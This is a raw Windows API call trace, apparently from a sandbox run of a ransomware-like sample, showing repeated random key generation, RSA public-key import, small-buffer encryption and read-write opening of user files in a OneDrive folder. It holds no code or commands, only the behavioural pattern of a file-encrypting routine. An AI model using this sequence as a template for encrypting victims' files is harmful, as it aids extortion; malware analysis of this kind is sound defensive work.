[0172.177] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.178] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.178] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0172.178] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0172.178] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0172.180] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6581c0) returned 1 [0172.181] CryptGetKeyParam (in: hKey=0x6581c0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0172.181] CryptEncrypt (in: hKey=0x6581c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3270000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x3270000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0172.181] GetLastError () returned 0x0 [0172.181] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0172.181] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0172.184] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x658140) returned 1 [0172.184] CryptGetKeyParam (in: hKey=0x658140, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0172.184] CryptEncrypt (in: hKey=0x658140, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3280000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x3280000*, pdwDataLen=0x285d120*=0x100) returned 1 [0172.184] GetLastError () returned 0x0 [0172.184] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0172.184] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\ErrorPage.html" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\errorpage.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.185] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.185] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.185] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.185] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.185] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.185] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.185] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.185] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.185] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.185] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.185] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.185] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.185] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.185] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.185] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.185] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.186] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.186] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.186] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.186] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.186] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.186] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.186] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.186] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.187] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.187] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.187] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.187] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.187] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.187] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.187] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.187] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.187] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.187] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.187] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.187] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.187] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.187] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.187] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.187] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.188] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.188] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.188] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.188] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.188] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.188] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.188] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.188] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.188] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.188] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.188] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.188] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.188] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.188] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.188] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.188] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.189] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.189] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.189] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.189] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.189] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.189] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.189] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.189] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.189] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.189] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.189] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.189] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.189] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.189] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.189] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.189] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.189] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.189] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.190] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.190] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.192] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0172.192] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.193] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.193] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0172.193] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0172.193] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0172.194] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.194] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.194] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0172.194] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0172.194] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0172.197] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x658580) returned 1 [0172.197] CryptGetKeyParam (in: hKey=0x658580, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0172.197] CryptEncrypt (in: hKey=0x658580, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3290000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x3290000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0172.197] GetLastError () returned 0x0 [0172.197] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0172.197] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0172.200] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x658180) returned 1 [0172.200] CryptGetKeyParam (in: hKey=0x658180, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0172.200] CryptEncrypt (in: hKey=0x658180, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x32a0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x32a0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0172.201] GetLastError () returned 0x0 [0172.201] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0172.201] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\LoadingPage.html" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\loadingpage.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.203] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4540) returned 1 [0172.204] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.204] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.204] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0172.204] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0172.204] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0172.205] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.205] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.205] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0172.205] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0172.205] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0172.208] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6583c0) returned 1 [0172.208] CryptGetKeyParam (in: hKey=0x6583c0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0172.208] CryptEncrypt (in: hKey=0x6583c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x32b0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x32b0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0172.208] GetLastError () returned 0x0 [0172.208] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0172.208] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0172.210] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x658040) returned 1 [0172.210] CryptGetKeyParam (in: hKey=0x658040, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0172.210] CryptEncrypt (in: hKey=0x658040, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x32c0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x32c0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0172.211] GetLastError () returned 0x0 [0172.211] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0172.211] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\OneDriveLogo.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\onedrivelogo.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.213] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0172.214] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.214] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.214] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0172.214] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0172.214] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0172.215] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.216] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.216] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0172.216] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0172.216] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0172.218] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x658340) returned 1 [0172.218] CryptGetKeyParam (in: hKey=0x658340, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0172.218] CryptEncrypt (in: hKey=0x658340, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x32d0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x32d0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0172.219] GetLastError () returned 0x0 [0172.219] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0172.219] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0172.221] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6584c0) returned 1 [0172.221] CryptGetKeyParam (in: hKey=0x6584c0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0172.221] CryptEncrypt (in: hKey=0x6584c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x32e0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x32e0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0172.221] GetLastError () returned 0x0 [0172.221] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0172.222] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\QuotaCritical.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\quotacritical.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.222] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0172.223] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.223] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.223] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0172.223] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0172.223] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0172.224] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.224] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.224] 